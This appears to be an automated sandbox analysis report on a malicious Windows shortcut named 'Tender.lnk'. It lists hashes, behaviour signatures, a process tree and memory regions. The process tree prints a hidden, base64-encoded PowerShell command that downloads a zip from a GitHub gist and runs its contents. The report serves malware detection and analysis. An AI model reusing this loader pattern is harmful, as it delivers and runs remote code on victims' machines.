Resubmissions

13/01/2024, 14:39

240113-r1nn2abgh6 3

13/01/2024, 14:28

240113-rs66eaahcl 7

Analysis

  • max time kernel
    102s
  • max time network
    141s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    13/01/2024, 14:39

General

  • Target

    Tender.lnk

  • Size

    3KB

  • MD5

    b47abb53ccbdb42d7e9eafc3de887436

  • SHA1

    6413e2c6099248bbf581975a44ea874e1184739f

  • SHA256

    71a782edebc5ece85bf46d8e22d82a4d800180fad14221e7320ea224462f1c02

  • SHA512

    7d3ae74f713e9c3d335596f94cf4523131f6e05079bf289f9ffed277d3bbc4d2644e48a517ca6593940649bd39eec92c15ea7b8efd323f102ded555867110824

Score
3/10

Malware Config

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\Tender.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:212
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Nop -sta -noni -w hidden -encodedCommand SW52b2tlLVdlYlJlcXVlc3QgLVVyaSAnaHR0cHM6Ly9naXN0LmdpdGh1Yi5jb20vSkEzRzNSL2Q5N2MzOWM4ZDAzZWE5ZmE2NzQ0NWZkYmYyMzA1YzQ4L2FyY2hpdmUvNDUwODM1MGNhN2Y5OTAwOGQzZmJjYzMwZDI5MmQ4NDVjNDJjODVhZC56aXAnIC1PdXRGaWxlICdnaXN0cHMuemlwJyA7IEV4cGFuZC1BcmNoaXZlIC1QYXRoICdnaXN0cHMuemlwJyAtRGVzdGluYXRpb25QYXRoICcuJyAtRm9yY2UgOyBJbnZva2UtRXhwcmVzc2lvbiAoR2V0LUNvbnRlbnQgLlxkOTdjMzljOGQwM2VhOWZhNjc0NDVmZGJmMjMwNWM0OC00NTA4MzUwY2E3Zjk5MDA4ZDNmYmNjMzBkMjkyZDg0NWM0MmM4NWFkXGdpc3RmaWxlMS50eHQgLVJhdyk=
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3696

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fbkakuto.v5t.ps1

          Filesize

          1B

          MD5

          c4ca4238a0b923820dcc509a6f75849b

          SHA1

          356a192b7913b04c54574d18c28d46e6395428ab

          SHA256

          6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

          SHA512

          4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

        • memory/3696-6-0x0000023345370000-0x0000023345392000-memory.dmp

          Filesize

          136KB

        • memory/3696-8-0x00007FFD38A10000-0x00007FFD393FC000-memory.dmp

          Filesize

          9.9MB

        • memory/3696-10-0x00000233453E0000-0x00000233453F0000-memory.dmp

          Filesize

          64KB

        • memory/3696-11-0x00000233453E0000-0x00000233453F0000-memory.dmp

          Filesize

          64KB

        • memory/3696-14-0x00000233458D0000-0x0000023345946000-memory.dmp

          Filesize

          472KB

        • memory/3696-35-0x00000233453E0000-0x00000233453F0000-memory.dmp

          Filesize

          64KB

        • memory/3696-39-0x00007FFD38A10000-0x00007FFD393FC000-memory.dmp

          Filesize

          9.9MB